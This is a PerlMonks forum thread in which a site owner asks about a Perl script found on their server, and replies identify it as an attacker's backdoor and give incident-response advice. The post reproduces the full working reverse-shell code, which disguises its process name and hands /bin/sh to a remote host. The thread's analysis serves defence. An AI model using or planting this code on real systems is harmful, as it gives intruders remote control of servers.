GnikLlort has asked for the wisdom of the Perl Monks concerning the following question:

Hi everyone, I found a perl file on my site today and I was hoping you dudes can tell me what it does and if I should worry. 
#!/usr/bin/perl
use Socket;
$cmd= "lynx";
$system= 'echo "`uname -a`";echo "`id`";/bin/sh';
$0=$cmd;
$target=$ARGV[0];
$port=$ARGV[1];
$iaddr=inet_aton($target) || die("Error: $!\n");
$paddr=sockaddr_in($port, $iaddr) || die("Error: $!\n");
$proto=getprotobyname('tcp');
socket(SOCKET, PF_INET, SOCK_STREAM, $proto) || die("Error: $!\n");
connect(SOCKET, $paddr) || die("Error: $!\n");
open(STDIN, ">&SOCKET");
open(STDOUT, ">&SOCKET");
open(STDERR, ">&SOCKET");
system($system);
close(STDIN);
close(STDOUT);
close(STDERR);

[download]

Replies are listed 'Best First'.
Re: Something I found on my site
by rjt (Curate) on Apr 25, 2014 at 20:07 UTC

    This does look like an attempt at some sort of exploit—more likely a probe to check for vulnerable servers to plant the real attacks on later.

    It tries to disguise itself as lynx (a text-based browser) in the process list, a weak measure, perhaps, but a pretty sure sign their intentions are less than pure.

    Then it tries to open a TCP socket to $ARGV[0] on port $ARGV[1] and reopen the 3 standard streams, and send your kernel version and the local user ID and groups to the remote server, and try to start a (remote) shell. Quite possibly the $target is a machine controlled by the attackers.

    Whether you should be worried or not? I dunno, that depends on how it got there and whether you can identify the target and the perpetrators.

    That, and they didn't use strict. Bastards.

    use strict; use warnings; omitted for brevity.
[reply]
[d/l]
[select]

      Hell, they didn't even check their opens -- two-argument opens at that! I think we need to send some missionaries into the dark corners of the Internet.

      #11929 First ask yourself `How would I do this without a computer?' Then have the computer do it the same way.

[reply]

      I removed the file and changed all my passwords just to be safe, thanks for the help.

[reply]
Re: Something I found on my site
by mr_mischief (Monsignor) on Apr 25, 2014 at 20:50 UTC

    The next time you find something like this, run stat on it and archive all your available logs for anything that has had access to the directory in question. These often come in through flaws in a web application like WordPress, Joomla, osCommerce, or jCow. A good incident response admin can often tell you how it was done and how to fix the security issue.

    There's often more than one file, and sometimes they also inject malicious code into legitimate files.

    For what it's worth, there are also often FTP uploads or uploads through a control panel's file manager. The attackers do that by compromising a PC and looking for passwords saved in FTP clients or web browsers. So scan and secure any PC you have, any on the same LAN, and any for any contract developers or admins you've had or change your credentials and settings in a way that refuses access to anything you can't clean.

    It's much harder to tell exactly how something came to exist on the system after the metadata is destroyed. Some web hosting companies have good free incident response in their security departments, like HostGator.

[reply]

      I think thy may of used the hartbleed bug just before my host patched it, I looked at my FTP logs and there where about 400 to 600 login's and all the logs are gone

[reply]

        This has stepped well beyond Perl.

        Unless you were using SFTP, FTP-SSL, or scp and were using a flawed OpenSSL library then this was not a Heartbleed issue. If you were then it still may not be a Heartbleed issue. If someone overwrote your FTP log files the most likely reason is to hide FTP activity.

        Change your FTP passwords, and clean all the systems that ever had FTP access to the site in question as well as any on the same LAN.

[reply]
Re: Something I found on my site
by locked_user sundialsvc4 (Abbot) on Apr 27, 2014 at 00:25 UTC

    Much more likely, if you are on a shared host, they simply penetrated the security of the host and/or of the (say, Plesk?) software that you use to maintain the site.   Obviously they have, and have had, full read/write access to the directories.   Unfortunately, on many hosts you will find that you do have read/write access to “your neighbor’s data” if you merely think to try it.   I doubt that this has or had anything to do with the Heartbleed hole.

Back to Seekers of Perl Wisdom